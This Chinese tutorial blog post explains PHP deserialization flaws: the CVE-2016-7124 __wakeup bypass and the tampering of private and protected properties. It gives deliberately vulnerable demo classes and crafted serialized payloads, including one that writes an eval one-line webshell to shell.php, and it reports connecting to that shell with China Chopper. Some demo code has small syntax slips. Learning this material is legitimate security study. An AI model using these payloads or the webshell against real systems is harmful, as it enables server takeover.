PHP反序列化漏洞原理概述-SECOND

PHP反序列化漏洞

PHP反序列化漏洞原理概述-FIRST
1.绕过魔法函数

wakeup()魔法函数

  • unserialize()反序列化函数执行时会检测是否存在wakeup()方法,如果存在会先调用wakeup()方法作为预先准备对象需要的资源,经常用于执行一些初始化操作,或者重现建立数据库连接等场景

PHP反序列化漏洞CVE-2016-7124

  • 当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

影响范围

  • PHP5<5.6.25
  • PHP7<7.0.10
  • 我们当前的PHP环境版本为5.4.45<5.6.25,存在该反序列化漏洞

1.wakeup()绕过原理demo

//7.php
<?php
	class wakeup_bug
	{
		public $a='wakeup';
		function __destruct()
		{
			echo 'I an not '.$this->a;
		}
		function __wakeup()
		{
			echo 'I am '.$this->a.'</br>';
		}
	}
	unserialize($_GET['id']);
?>

构造payload:
我们自己按照这个类的格式,构造出一个序列化后的对象,如下

O:10:"wakeup_bug":1:{s:1:"a";s:6:"wakeup";}

同时我们可以发现 __wakeup()在__destruct()函数之前执行,说明,只要存在了反序列化操作,__wakeup()函数的优先级高。
在这里插入图片描述
当属性个数值大于真实属性个数值时,可绕过wakeup()函数,我们将自定义的序列化值修改一下,如下

将属性个数改为2>真实属性个数1

O:10:"wakeup_bug":2:{s:1:"a";s:6:"wakeup";}

绕过wakeup()函数成功,只执行了destruct()函数。
在这里插入图片描述
2.wakeup()绕过原理demo1

  • 在该demo中,__destruct() 中定义了文件操作,打开一个shell.php文件,写入变量$a的值,然后保存关闭该文件。
  • __wakeup() 函数中定义了
    foreach()函数:遍历数组函数
    get_object_vars():返回由对象属性组成的关联数组
    在此处将$this指向的对象的值清空
  • 该demo1中有写入文件操作,这是一个危险操作,当我们能绕过__wakeup()函数,就可以写入一句话木马,获取webshell
//8.php
<?php
	class a
	{
		var $a="test";
		function __destruct()
		{
			$fp=fopen("shell.php","w+")
			fputs($fp,$this->a);
			fclose($fp);
		}
		function __wakeup() //清空$a的值
		{
			foreach(get_object_vars($this) as $b => $c)
			{$this->$b=null;}
		}
	}
?>

由于__wakeup()函数执行先于__destruct()函数,也就是说,在 __destruct()函数执行文件操作 时,而__wakeup()函数已经清空了$a的值,__destruct()函数写入shell.php文件的为空值

此时就需要绕过__wakeup()函数
构造payload

我们自己按照这个类的格式,构造出一个序列化后的对象,对象的属性值赋予一句话木马,写入文件,如下

O:1:"a":1:{s:1:"a";s:27:"<?php @eval($_POST[123]);?>"}

在这里插入图片描述

  • 木马植入成功,中国菜刀连接成功

在这里插入图片描述

2.private(私有)、protected(保护)属性外部修改

public属性可以被外部修改privateproctected属性无法被对象外部修改

原理dome

__toString()函数: 把类当做字符串使用时触发,也就是使用echo打印对象时触发该函数。

//9.php
<?php
	class stundet
	{
		public $name='BYF';
		private $age='20';
		protected $sex='boy';
		function __toString()
		{
			return 'name: '.$this->name.'</br>age: '.$this->age.'</br>sex: '.$this->sex;
		}
	}
	$s1=new stundet();
	echo $s1.'</br>';
	echo serialize($s1);
?>

下图为demo执行结果
在这里插入图片描述
我们发现,序列化后,private变量,和protected变量的结果与public不一样

O:7:"stundet":3:{s:4:"name";s:3:"BYF";s:12:"stundetage";s:2:"20";s:6:"*sex";s:3:"boy";}

private:在序列化后属性名为,类+变量名,且类使用<0x00>空字符相隔,在页面回显中无法看出
proctected:在序列化后属性名为,*+变量名,且*使用<0x00>空字符相隔,在页面回显中无法看出
在这里插入图片描述
由于序列化值中存在<0x00>空字符,占用一个字符,在url中%00为空字符

构造payload

从外部修改private&proctected属性值

O:7:"stundet":3:{s:4:"name";s:3:"SHY";s:12:"%00stundet%00age";s:2:"19";s:6:"%00*%00sex";s:4:"girl";}

在这里插入图片描述

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值